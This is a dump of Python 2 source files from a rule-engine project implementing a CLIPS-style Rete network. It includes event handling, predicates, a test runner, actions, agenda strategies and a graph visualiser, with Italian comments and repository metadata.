self._em.unregister(EventManager.E_STRATEGY_CHANGED, self.onStrategyChanged)\n \n \n def onRuleFired(self, pnode, token, *args):\n print \"\\n\\t\\t\\t\\t\\t[{0}: {1}]\".format(pnode.get_name(), \", \".join(['f-'+str(w.get_factid()) for w in token.linearize(False)]))\n\n def onRuleActivated(self, pnode, token, *args):\n print \"\\t\\t\\t\\t\\t\\t+ [{0}: {1}]\".format(pnode.get_name(), \", \".join(['f-'+str(w.get_factid()) for w in token.linearize(False)]))\n \n def onRuleDeactivated(self, pnode, token, *args):\n print \"\\t\\t\\t\\t\\t\\t- [{0}: {1}]\".format(pnode.get_name(), \", \".join(['f-'+str(w.get_factid()) for w in token.linearize(False)]))\n \n def onFactAsserted(self, wme, isNew, *args):\n print \"\\t\\t\\t\\t\\t\\t{0} f-{1}: {2}\".format(\n \"+\" if isNew else \"=\",\n wme.get_factid(),\n wme.get_fact()\n )\n def onFactRetracted(self, wme, *args):\n print \"\\t\\t\\t\\t\\t\\t- f-{0}: {1}\".format(\n wme.get_factid(),\n wme.get_fact()\n )\n \n def onStrategyChanged(self, strategy, *args):\n print \"\\t\\t\\t\\t\\t\\t# Strategia: {0}\".format(\n strategy.__class__.__name__\n )\n \n\nclass ReteRenderer(object):\n \n def __init__(self):\n self._em = None\n self._gWrapper = None\n self._prevStatus = False\n \n def linkToEventManager(self, em):\n if self._em != None:\n em.unregister(EventManager.E_DEBUG_OPTIONS_CHANGED, self.onDebugOptionsChange)\n \n if issubclass(em, EventManager):\n self._em = em\n self._em.register(EventManager.E_DEBUG_OPTIONS_CHANGED, self.onDebugOptionsChange)\n \n self._gWrapper = None \n #self._gWrapper = NetworkXGraphWrapper.i()\n \n def onDebugOptionsChange(self, changedOptions, rete, *args):\n if isinstance(changedOptions, dict):\n for (key, value) in changedOptions.items():\n method = \"_option_\"+key\n if hasattr(self, method) \\\n and callable(getattr(self, method)):\n print key, ' = ', value\n getattr(self, method)(value, rete)\n\n def _option_draw_graph(self, value, rete):\n if self._prevStatus != value:\n if bool(value):\n self._em.register(EventManager.E_NODE_ADDED, self.onNodeAdded)\n self._em.register(EventManager.E_NODE_REMOVED, self.onNodeRemoved)\n self._em.register(EventManager.E_NODE_LINKED, self.onNodeLinked)\n self._em.register(EventManager.E_NODE_UNLINKED, self.onNodeUnlinked)\n self._em.register(EventManager.E_NETWORK_READY, self.onNetworkReady)\n self._em.register(EventManager.E_NETWORK_SHUTDOWN, self.onNetworkShutdown)\n # ho bisogno di costruire la rete creata fino a questo punto\n self._browseCreatedNetwork(rete)\n else:\n self._em.unregister(EventManager.E_NODE_ADDED, self.onNodeAdded)\n self._em.unregister(EventManager.E_NODE_REMOVED, self.onNodeRemoved)\n self._em.unregister(EventManager.E_NODE_LINKED, self.onNodeLinked)\n self._em.unregister(EventManager.E_NODE_UNLINKED, self.onNodeUnlinked)\n self._em.unregister(EventManager.E_NETWORK_READY, self.onNetworkReady)\n self._em.unregister(EventManager.E_NETWORK_SHUTDOWN, self.onNetworkShutdown)\n try:\n self._gWrapper.clear()\n except:\n pass\n finally: \n self._gWrapper = None\n\n\n def onNodeAdded(self, node):\n self._gWrapper.add_node(node)\n \n def onNodeRemoved(self, node):\n #self._gWrapper.remove_node(node)\n pass\n \n def onNodeLinked(self, node, parent, linkType=0, *args):\n self._gWrapper.add_edge(parent, node, linkType)\n \n def onNodeUnlinked(self, node, parent):\n #self._gWrapper.remove_edge(node, parent)\n pass\n\n def onNetworkReady(self, *args):\n try:\n self._gWrapper.draw()\n except Exception, e:\n import sys\n print >> sys.stderr, \"Impossibile visualizzare il grafico: \", repr(e)\n \n def onNetworkShutdown(self, *args):\n try:\n self._gWrapper.clear()\n except:\n pass\n \n def _browseCreatedNetwork(self, rete):\n self._gWrapper = NetworkXGraphWrapper.i()\n from icse.rete.ReteNetwork import ReteNetwork\n from icse.rete.Nodes import ReteNode\n from collections import deque\n assert isinstance(rete, ReteNetwork)\n nodeQueue = deque([(rete.get_root(), None, 0)])\n readed_saw = set()\n readed_exploded = set()\n while len(nodeQueue) > 0:\n node, parent, linkType = nodeQueue.popleft()\n if node not in readed_saw:\n readed_saw.add(node)\n EventManager.trigger(EventManager.E_NODE_ADDED, node)\n if parent != None:\n EventManager.trigger(EventManager.E_NODE_LINKED, node, parent, linkType)\n \n if node not in readed_exploded:\n readed_exploded.add(node)\n # per AlphaRoot, ConstantTestNode, LengthTestNode e ReteNode\n if hasattr(node, 'get_children'):\n linkType = -1 if isinstance(node, ReteNode) else 0\n for succ in node.get_children():\n nodeQueue.append( (succ, node, linkType ) )\n # per ConstantTestNode, JoinNode e NegativeNode\n if hasattr(node, 'get_alphamemory'):\n if not isinstance(node, ReteNode):\n if node.get_alphamemory() != None:\n nodeQueue.append( (node.get_alphamemory(), node, 0 ) )\n # per AlphaMemory\n if hasattr(node, 'get_successors'):\n for succ in node.get_successors():\n linkType = 1 if isinstance(succ, ReteNode) else 0\n nodeQueue.append( (succ, node, linkType ) )\n if hasattr(node, 'get_partner'):\n nodeQueue.append( (node.get_partner(), node, 0 ) )\n \n \nclass EventManager(object):\n \n E_RULE_FIRED = 'rule-fired'\n E_RULE_ACTIVATED = 'rule-activated'\n E_RULE_DEACTIVATED = 'rule-deactivated'\n E_RULE_ADDED = 'rule-added'\n E_RULE_REMOVED = 'rule-removed'\n \n E_NODE_ADDED = 'node-added'\n E_NODE_REMOVED = 'node-removed' \n E_NODE_LINKED = 'node-linked'\n E_NODE_UNLINKED = 'node-unlinked'\n E_NODE_ACTIVATED = 'node-activated'\n\n E_FACT_ASSERTED = 'fact-asserted'\n E_FACT_RETRACTD = 'fact-retractd'\n \n E_ACTION_PERFORMED = 'action-performed'\n \n E_STRATEGY_CHANGED = 'strategy-changed'\n\n E_DEBUG_OPTIONS_CHANGED = 'debug-options-changed'\n \n E_MODULE_INCLUDED = 'module-included'\n \n E_NETWORK_READY = 'network-ready'\n E_NETWORK_SHUTDOWN = 'network-shutdown'\n \n __observers = {}\n \n @staticmethod\n def trigger(event, *args ):\n if EventManager.__observers.has_key(event):\n for observer in EventManager.__observers[event]:\n observer(*args)\n \n @staticmethod\n def register(event, handler):\n if not EventManager.__observers.has_key(event):\n EventManager.__observers[event] = set()\n if handler not in EventManager.__observers[event]: \n EventManager.__observers[event].add(handler)\n\n @staticmethod\n def unregister(event, handler):\n try:\n EventManager.__observers[event].remove(handler)\n except:\n # handler non era registrato\n pass\n \n @staticmethod\n def isRegistered(event, handler):\n try:\n return (handler in EventManager.__observers[event])\n except:\n return False\n \n @staticmethod\n def reset():\n EventManager.__observers = {}\n" }, { "alpha_fraction": 0.5406976938247681, "alphanum_fraction": 0.565614640712738, "avg_line_length": 24.06382942199707, "blob_id": "0c4bea67fd32405f0388c623fe815e31e04a1f47", "content_id": "ffbb0a52f8d635e66e6d5d56a3caa1c817c23d78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1204, "license_type": "no_license", "max_line_length": 75, "num_lines": 47, "path": "/src/icse/predicates/Great.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import PositivePredicate, NumberPredicate\n\nclass Gt(PositivePredicate, NumberPredicate):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n \n @staticmethod\n def compare(value1, value2):\n '''\n Restituisce (value1>value2)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n try:\n nvalue1, nvalue2 = NumberPredicate.cast_numbers(value1, value2)\n return (nvalue1 > nvalue2)\n except:\n return False\n \n \nclass Ge(PositivePredicate, NumberPredicate):\n '''\n Predicato di uguaglianza:\n controlla se un valore e' uguale ad un altro\n '''\n \n @staticmethod\n def compare(value1, value2):\n '''\n Restituisce (value1>=value2)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n try:\n nvalue1, nvalue2 = NumberPredicate.cast_numbers(value1, value2)\n return (nvalue1 >= nvalue2)\n except:\n return False\n \n \n " }, { "alpha_fraction": 0.4831106662750244, "alphanum_fraction": 0.48651373386383057, "avg_line_length": 32.672340393066406, "blob_id": "02147920617cf8fd230317aa2ea40865a515577f", "content_id": "f4dda4515647395615fb46225d5b786750dd2be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7934, "license_type": "no_license", "max_line_length": 112, "num_lines": 235, "path": "/src/icse/Main.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "from icse.rete.ReteNetwork import ReteNetwork\nfrom icse.Production import Production\n#from icse.rete.NetworkXGraphWrapper import NetworkXGraphWrapper\nfrom icse.debug import EventManager, ConsoleDebugMonitor, ReteRenderer\nimport icse.parser as clipsparser\n\nfrom genericpath import isfile\nimport traceback\nimport sys\nfrom pyparsing import ParseException\n\n\ndef execute_test(filepath):\n \n EventManager.reset()\n \n DEBUG = False\n parseError = False\n try:\n parsedItems = clipsparser.parseFile(filepath, DEBUG)\n except ParseException, e:\n \n parseError = True\n \n print \"Errore nel file: \", filepath\n print \" [dopo] Riga: \", e.lineno\n print \" [dopo] Colonna: \", e.col\n print \" [dopo] Testo: \", e.line\n print \" Messaggio: \", str(e)\n print\n \n except Exception, e2:\n parseError = True\n \n print e2\n \n finally:\n\n # in caso di eccezione del parser, e debug falso\n # eseguo nuovamente\n if parseError: \n if not DEBUG:\n print \"Vuoi attivare la modalita' debug del parser? (si/no)\"\n risposta = raw_input()\n if risposta.lower() == \"si\":\n parsedItems = clipsparser.parseFile(filepath, True)\n else:\n return\n else:\n return \n \n if DEBUG:\n clipsparser.debug_parsed(parsedItems)\n\n rete = ReteNetwork()\n \n DM = ConsoleDebugMonitor()\n DM.linkToEventManager(EventManager)\n \n RR = ReteRenderer()\n RR.linkToEventManager(EventManager)\n \n parseQueue = []\n parsedModuleCache = {}\n \n stats_defrule = 0\n stats_deffacts = 0\n stats_facts = 0\n stats_modules = 0\n \n current_file = filepath\n \n import time\n starttime = time.time()\n \n while len(parsedItems) > 0 or len(parseQueue) > 0:\n \n for (item_type, item) in parsedItems:\n if item_type == 'defrule':\n rule = item\n default_rule = {'name': '', 'lhs': [], 'rhs': [], 'declare': {'salience': 0}, 'description': ''}\n default_rule.update(rule)\n rule = default_rule\n p = Production(rule['name'], rule['lhs'], rule['rhs'], rule['declare'], rule['description'])\n rete.add_production(p)\n stats_defrule += 1\n elif item_type == 'deffacts':\n stats_deffacts += 1\n for fact in item:\n stats_facts += 1\n rete.assert_fact(fact)\n elif item_type == 'set-strategy':\n rete.agenda().changeStrategy(item)\n elif item_type == 'myclips-directive':\n # processo le direttive\n dir_type, dir_arg = item\n if dir_type == 'include':\n # inclusione di file al termine della lettura di questo\n import os\n module_path = os.path.realpath( os.path.dirname(current_file) + '/' + dir_arg )\n if isfile( module_path ):\n parseQueue.append(module_path)\n #print \"Modulo preparato alla lettura: \", os.path.dirname(filepath) + '/' + dir_arg\n else:\n print \"File non valido: \", module_path\n elif dir_type == 'debug':\n #argomenti di debug nella forma:\n # chiave=valore,chiave2=valore2,ecc\n try:\n debug_infos = dict([tuple(x.strip().split('=')) for x in dir_arg.strip().split(',')])\n EventManager.trigger( EventManager.E_DEBUG_OPTIONS_CHANGED, debug_infos, rete)\n except Exception, e:\n #ignora la direttiva se il formato non e' corretto\n print e\n print >> sys.stderr, \"Direttiva debug ignorata: \", dir_arg \n \n \n \n \n parsedItems = []\n \n if len(parseQueue) > 0:\n pmodule = parseQueue.pop(0)\n if not parsedModuleCache.has_key(pmodule):\n parsedModuleCache[pmodule] = True\n stats_modules += 1\n try:\n print \"Caricamento modulo: \", pmodule\n current_file = pmodule\n parsedItems = clipsparser.parseFile(pmodule, DEBUG)\n EventManager.trigger( EventManager.E_MODULE_INCLUDED, pmodule)\n except:\n print \"Errore durante il caricamento del modulo: \", pmodule\n parsedModuleCache[pmodule] = False\n \n print\n print \"-------------------\"\n print \"Statistiche:\"\n print \" tempo compilazione: \", (time.time() - starttime)\n print \" defrule: \", stats_defrule\n print \" deffacts: \", stats_deffacts\n print \" facts: \", stats_facts\n print \" myclips-modules: \", stats_modules\n \n \n print\n print \"-------------------\"\n print \"Agenda: \"\n agenda = rete.agenda()\n for (salience, pnode, token) in agenda.activations():\n print \"{0} {1}:\\t{2}\".format(\n str(salience).ljust(6, ' '),\n pnode.get_name(),\n \", \".join(['f-'+str(w.get_factid()) for w in token.linearize(False)])\n ) \n\n #NetworkXGraphWrapper.i().draw()\n \n EventManager.trigger(EventManager.E_NETWORK_READY, rete)\n \n print \"-------------------\"\n print \"Esecuzione: \"\n print\n \n while not agenda.isEmpty():\n # il get_activation rimuove la regola dall'agenda automaticamente\n node, token = agenda.get_activation()\n node.execute(token)\n\n \n print\n print \"--------------------\"\n print \"Post esecuzione:\"\n print\n \n for wme in sorted(rete.get_wmes(), key=lambda x: x.get_factid()):\n print \"{0} ({1})\".format(\n str(\"f-\"+str(wme.get_factid())).ljust(5, ' '),\n \" \".join([str(x) for x in wme.get_fact()]) if isinstance(wme.get_fact(), list) \n else str(wme.get_facts()) \n )\n \n \n EventManager.trigger(EventManager.E_NETWORK_SHUTDOWN, rete)\n \n #NetworkXGraphWrapper.i().draw()\n #NetworkXGraphWrapper.i().clear()\n \ndef main_loop(): \n \n import os\n \n TESTS_DIR = os.getcwd()+'/../../tests'\n \n print \"TESTS_DIR: \", TESTS_DIR\n print \n \n #print os.listdir(TESTS_DIR)\n tests = sorted([x for x in os.listdir(TESTS_DIR) if isfile(TESTS_DIR + \"/\" +x) and x[-4:] == '.clp'])\n \n if len(tests) < 1:\n print \"Non ho trovato nessun file di test. Ciao ciao....\"\n return False\n\n while True:\n #if True:\n \n print \"Questi sono i file che ho trovato:\"\n for i, test in enumerate(tests):\n print \"\\t\"+str(i)+\") \"+str(test)\n \n print \"\\t.) Qualsiasi altra selezione per uscire\"\n \n try:\n choosed = int(raw_input('Cosa vuoi eseguire? '))\n #choosed = 1\n print \"Hai scelto: \"+str(tests[choosed])\n print\n print \"--------------------------------\"\n try:\n execute_test(TESTS_DIR+\"/\"+tests[choosed])\n except Exception:\n traceback.print_exc(file=sys.stdout)\n print \"--------------------------------\"\n print\n \n except ValueError:\n print \"...Ciao Ciao...\"\n return True\n \n \n \nif __name__ == '__main__':\n \n main_loop()\n \n " }, { "alpha_fraction": 0.4907975494861603, "alphanum_fraction": 0.5061349868774414, "avg_line_length": 21.89285659790039, "blob_id": "9e4a4a9af0fe20ac625334eebac34c4f737c45c8", "content_id": "f6422a298702ae3dc981379654678f37cfc0f117", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 652, "license_type": "no_license", "max_line_length": 49, "num_lines": 28, "path": "/src/icse/functions/StringIndex.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass StringIndex(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'str-index',\n 'minParams': 2,\n 'handler': StringIndex.handler\n })\n return sign\n \n @staticmethod\n def handler(needle, haystack):\n # in clips:\n # l'array e' 1-index\n # ritorna False se non c'e' la stringa\n pos = str(haystack).find(str(needle))\n return (pos + 1) if pos != -1 else False \n \n " }, { "alpha_fraction": 0.5183159112930298, "alphanum_fraction": 0.5204567313194275, "avg_line_length": 29.693429946899414, "blob_id": "c3becc8021456ac556f48a45027fc4539c161ab5", "content_id": "350946eb8b9ff94c0b588f0b3192ee20813d77dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4204, "license_type": "no_license", "max_line_length": 82, "num_lines": 137, "path": "/src/icse/rete/PNode.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 08/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.rete.Token import Token\nfrom icse.rete.Nodes import BetaMemory\nfrom icse.debug import EventManager\n\n\nclass PNode(BetaMemory):\n '''\n Nodo terminale di un ReteNetwork\n Rappresenta una produzioneactivable,\n '''\n\n\n def __init__(self, parent,\n # informazioni sulla produzione\n name,\n actions,\n properties,\n symbols,\n # triggers\n reteNetwork,\n onActive=lambda pnode,token:None,\n onDeactive=lambda pnode,token:None,\n assertFunc=lambda fact:(None,None,False),\n retractFunc=lambda wme:None,\n addProduction=lambda production:None,\n removeProduction=lambda pnode:None\n ):\n '''\n Constructor\n '''\n self.__onActive = onActive\n self.__onDeactive = onDeactive\n self.__assertFunc = assertFunc\n self.__retractFunc = retractFunc\n self.__addProduction = addProduction\n self.__removeProduction = removeProduction\n \n self.__actions = actions\n self.__name = name\n self.__symbols = symbols\n self.__properties = properties\n self.__reteNetwork = reteNetwork\n \n # sanitarizza la salience\n try:\n if self.__properties.has_key('salience') \\\n and not isinstance(self.__properties['salience'], int):\n self.__properties['salience'] = int(self.__properties['salience'])\n except:\n self.__properties['salience'] = 0\n\n BetaMemory.__init__(self, parent)\n \n def leftActivation(self, tok, wme=None):\n \n new_token = Token(self, tok, wme)\n #self._items.insert(0, new_token)\n self._items[new_token] = new_token\n \n self.__onActive(self, new_token )\n \n def remove_item(self, tok):\n \n BetaMemory.remove_item(self, tok)\n \n # dopo la rimozione devo anche notificare\n # che l'attivazione non e' piu disponibile\n \n self.__onDeactive(self, tok)\n \n def get_name(self):\n return self.__name\n \n def factory(self, parent):\n raise NotImplementedError\n \n def execute(self, token):\n \n # devo linearizzare il token\n # ed eseguire le azioni\n \n EventManager.trigger(EventManager.E_RULE_FIRED, self, token)\n \n wmes = token.linearize()\n \n variables = self._resolve_variables(wmes)\n \n #from pprint import pprint\n #from icse.actions import Action as ActionProxy\n #pprint(variables)\n \n #pprint(self.__actions)\n \n for (action, args) in self.__actions:\n \n action.execute(args, variables, self.__reteNetwork,\n assertFunc=self.__assertFunc,\n retractFunc=self.__retractFunc,\n addProductionFunc=self.__addProduction,\n removeProductionFunc=self.__removeProduction\n )\n \n \n def _resolve_variables(self, wmes):\n \n solved_builtins = {}\n \n for (var_name, (cond_index, field_index)) in self.__symbols.items():\n \n wme = wmes[cond_index]\n if wme == None:\n wme = wmes[cond_index + 1]\n \n if field_index == None:\n # il valore e' proprio l'indice della WME\n # NON passo la reference alla wme perche\n # provo a conservare la compatibilita' con CLIPS\n #value = wme.get_factid()\n value = wme\n else:\n # il valore e' il contenuto di un campo\n value = wme.get_field(field_index)\n \n solved_builtins[var_name] = value\n \n return solved_builtins\n \n def get_property(self, propname, default=None):\n try:\n return self.__properties[propname]\n except KeyError:\n return default" }, { "alpha_fraction": 0.6361788511276245, "alphanum_fraction": 0.6483739614486694, "avg_line_length": 21.809524536132812, "blob_id": "e9f8d04c084866aaf6d69354e9403ef5748ba457", "content_id": "556272a71811e1428e8833f7658336bff7d8f6be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 492, "license_type": "no_license", "max_line_length": 47, "num_lines": 21, "path": "/src/icse/actions/Refresh.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\nfrom icse.rete.Agenda import Agenda\n\nclass Refresh(Action):\n '''\n Esegue il refresh di una regola\n muovendo tutte le attivazioni gia\n eseguite e ancora valide nuovamente\n nell'agenda\n '''\n SIGN = 'refresh'\n \n def executeImpl(self, rulename, *args):\n agenda = self.getReteNetwork().agenda()\n assert isinstance(agenda, Agenda)\n agenda.refresh(rulename)\n \n " }, { "alpha_fraction": 0.560661792755127, "alphanum_fraction": 0.5735294222831726, "avg_line_length": 21.69565200805664, "blob_id": "c7dd3ea85842e150092686538261418138ad851e", "content_id": "0665a15660d0d58e58e449d6c8c2a051eb7c082c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 544, "license_type": "no_license", "max_line_length": 92, "num_lines": 23, "path": "/src/icse/actions/TraceWme.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\nfrom icse.rete.WME import WME\nimport icse.debug as debug\n\nclass TraceWme(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n \n SIGN = 'trace-wme'\n \n def executeImpl(self, *args):\n \n args = self._resolve_args(False, True, *args)\n \n for wme in args:\n if isinstance(wme, WME):\n debug.show_wme_details(wme, explodeToken=True, maxDepth=4, explodeAMem=True)\n \n \n " }, { "alpha_fraction": 0.5887850522994995, "alphanum_fraction": 0.6028037667274475, "avg_line_length": 20.36842155456543, "blob_id": "9b19fbb792fefc6d04031a2eef8fc3b32ae833b8", "content_id": "e27d8e018b8cf8ba0520561affb1f64bc7e625ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 428, "license_type": "no_license", "max_line_length": 53, "num_lines": 19, "path": "/src/icse/actions/TriggerEvent.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\nfrom icse.debug import EventManager\n\nclass TriggerEvent(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n \n SIGN = 'trigger-event'\n \n def executeImpl(self, triggerName, *args):\n \n args = self._resolve_args(False, True, *args)\n EventManager.trigger(triggerName, args)\n \n \n " }, { "alpha_fraction": 0.4670385420322418, "alphanum_fraction": 0.4764198660850525, "avg_line_length": 27.078571319580078, "blob_id": "4d46e2e078003c5a64c26f3aa5e93a046bd84e89", "content_id": "9a533dfe2ce493e1e609821594fd33a0c1e84ee5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3944, "license_type": "no_license", "max_line_length": 88, "num_lines": 140, "path": "/src/icse/rete/Ubigraph.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 11/mag/2012\n\n@author: Francesco Capozzo\n'''\nimport xmlrpclib\n\nclass Ubigraph(object):\n '''\n classdocs\n '''\n\n _instance = None\n\n def __init__(self):\n '''\n Constructor\n '''\n \n self._isReady = True\n self._nodemap = {}\n self._edgemap = {}\n self._G = None\n self._nodeid = 1\n\n try:\n server_url = 'http://127.0.0.1:20738/RPC2'\n server = xmlrpclib.Server(server_url)\n G = server.ubigraph\n G.clear()\n self._G = G\n except:\n print \"Ubigraph init fallito\"\n self._isReady = False\n\n \n @staticmethod\n def i():\n '''\n @return self\n '''\n if Ubigraph._instance == None:\n Ubigraph._instance = Ubigraph()\n return Ubigraph._instance\n \n\n def is_ready(self):\n return self._isReady\n\n def add_node(self, node, parent, linkType=0):\n if not self.is_ready():\n return self._fallback_add_node(node, parent, linkType)\n \n assert not isinstance(node, int) \n assert not isinstance(parent, int)\n \n if self._nodemap.has_key(node):\n # decidero in seguito\n # per ora ignoro\n print \"Nodo ignorato... gia nel grafico\"\n return\n else:\n # nuovo nodo\n parent_vertex = self._nodemap.get(parent, None)\n node_vertex = self._G.new_vertex()\n self._G.set_vertex_attribute(node_vertex, \"label\", str(node.__class__))\n \n # aggiungo subito\n self._nodemap[node] = node_vertex\n \n # creo un nuovo collegamento\n if parent_vertex != None:\n self.add_edge(node_vertex, parent_vertex)\n \n return node_vertex\n \n def _fallback_add_node(self, node, parent, linkType):\n \n assert not isinstance(node, int) \n assert not isinstance(parent, int)\n \n if not self._nodemap.has_key(node):\n self._nodemap[node] = self._nodeid\n print \"(\"+str(self._nodeid)+\", \"+str(node.__class__.__name__)+\") Nuovo nodo\"\n \n parent_id = self._nodemap.get(parent, None)\n if parent_id != None:\n self.add_edge(self._nodeid, parent_id , linkType)\n \n self._nodeid += 1\n \n return self._nodemap[node]\n \n \n \n def add_edge(self, child, parent, linkType=0):\n if not self.is_ready():\n return self._fallback_add_edge(child, parent, linkType)\n \n if child == None or parent == None:\n return\n \n triple = (parent, child, linkType)\n if not self._edgemap.has_key(triple):\n \n edge = self._G.new_edge(parent, child)\n self._G.set_edge_attribute(edge, \"arrow\", \"true\")\n \n if linkType < 0:\n # left link\n self._G.set_edge_attribute(edge, \"color\", \"#006400\")\n elif linkType > 0:\n self._G.set_edge_attribute(edge, \"color\", \"#8b0000\")\n \n \n self._edgemap[triple] = edge\n \n \n def _fallback_add_edge(self, child, parent, linkType):\n if child == None or parent == None:\n return\n\n triple = (parent, child, linkType)\n if not self._edgemap.has_key(triple):\n\n if linkType == 0:\n print str(parent)+\" ---------> \"+str(child)\n elif linkType < 0:\n print str(parent)+\" --LEFT---> \"+str(child)\n else:\n print str(parent)+\" --RIGHT--> \"+str(child)\n\n self._edgemap[triple] = True\n\n \n def get_vertex(self, node):\n try:\n return self._nodemap[node]\n except:\n return None \n " }, { "alpha_fraction": 0.6438356041908264, "alphanum_fraction": 0.6558219194412231, "avg_line_length": 26.380952835083008, "blob_id": "5ba7ffed7b3e4cf5d0f8fea730bbf0786965bb70", "content_id": "08c6e29fd4e0115276d9145309b830118f5dd444", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 584, "license_type": "no_license", "max_line_length": 71, "num_lines": 21, "path": "/src/icse/strategies/BreadthStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import Strategy\n\nclass BreadthStrategy(Strategy):\n '''\n Inserisce gli elementi come ultimi in priorita'\n di attivazione per gli elementi con lo stesso salience\n '''\n\n def insert(self, pnode, token, per_salience_list):\n per_salience_list.append((pnode, token))\n\n def resort(self, per_saliance_list):\n per_saliance_list.sort(key=lambda x: self._get_max_epoch(x[1]))\n \n def _get_max_epoch(self, token):\n return max([x.get_epoch() for x in token.linearize(False)])\n \n" }, { "alpha_fraction": 0.6189979314804077, "alphanum_fraction": 0.6273486614227295, "avg_line_length": 32.068965911865234, "blob_id": "99de1872e8f869a1dbcf41b68c192d8a17fffafc", "content_id": "5a2aa9ff32ea9f96b2dfc7741824929798157b5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 958, "license_type": "no_license", "max_line_length": 104, "num_lines": 29, "path": "/src/icse/strategies/MeaStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import Strategy\n\nclass MeaStrategy(Strategy):\n '''\n Precedenza delle attivazioni in base\n all'attualita' della prima wme del token utilizzato nell'attivazione\n di regole con lo stesso salience\n '''\n\n def insert(self, pnode, token, per_salience_list):\n first_epoch = self._get_first_epoch(token.linearize(False))\n \n for index, (_, o_token) in enumerate(per_salience_list):\n if first_epoch >= self._get_first_epoch(o_token.linearize(False)):\n per_salience_list.insert(index, (pnode, token))\n return\n \n per_salience_list.append((pnode, token))\n \n def _get_first_epoch(self, list_of_wme):\n return list_of_wme[0].get_epoch()\n \n def resort(self, per_saliance_list):\n per_saliance_list.sort(key=lambda x: self._get_first_epoch(x[1].linearize(False)), reverse=True)" }, { "alpha_fraction": 0.47356829047203064, "alphanum_fraction": 0.4889867901802063, "avg_line_length": 17.54166603088379, "blob_id": "831c4a8d7832dca35b6abb7edf53e6af7c1c5ae7", "content_id": "e137d98a90dabebbda2275da45f724e8660c093c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 454, "license_type": "no_license", "max_line_length": 42, "num_lines": 24, "path": "/src/icse/functions/Integer.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Integer(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'integer',\n 'minParams': 1,\n 'handler': Integer.handler\n })\n return sign\n \n @staticmethod\n def handler(op):\n return float(op)\n \n " }, { "alpha_fraction": 0.5512579679489136, "alphanum_fraction": 0.5561397075653076, "avg_line_length": 24.200000762939453, "blob_id": "b6b69b89cdf354e7dbc8f9e76425f7b001ea31fc", "content_id": "e2c55fb33744c6c3e3d9e507a45280ae49d04e19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2663, "license_type": "no_license", "max_line_length": 73, "num_lines": 105, "path": "/src/icse/predicates/Predicate.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 07/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nclass Predicate(object):\n '''\n Classe base per l'implementazioni di tutti i predicati\n '''\n \n '''\n Overloading per inserire il simbolo che corrisponda al predicato\n '''\n SIGN = None\n\n @staticmethod\n def compare(*args):\n '''\n Esegue la comparazione fra due valori\n secondo le specifiche del predicato\n @param value1: primo valore da confrontare\n @param value2: secondo valore da confrontare al primo\n @return: boolean\n '''\n raise NotImplementedError\n \n \n @classmethod\n def sign(cls):\n return {\n 'sign': cls.SIGN,\n 'handler': cls.compare,\n 'cls': cls\n } \n \n \nclass PositivePredicate(Predicate):\n '''\n Classe base di tutti i predicati positivi\n '''\n\nclass NegativePredicate(Predicate):\n '''\n Classe base di tutti i predicati negativi\n '''\n\nclass NccPredicate(Predicate):\n '''\n Rappresenta una sottorete di predicati negativi\n '''\n\nclass TestPredicate(Predicate):\n \n _predicate = None\n _variable_variance = {}\n \n @staticmethod\n def withPredicate(p):\n '''\n Costruisce a runtime una nuova sottoclasse di \n variable che matcha con un predicato differente\n (e memorizza, in modo da 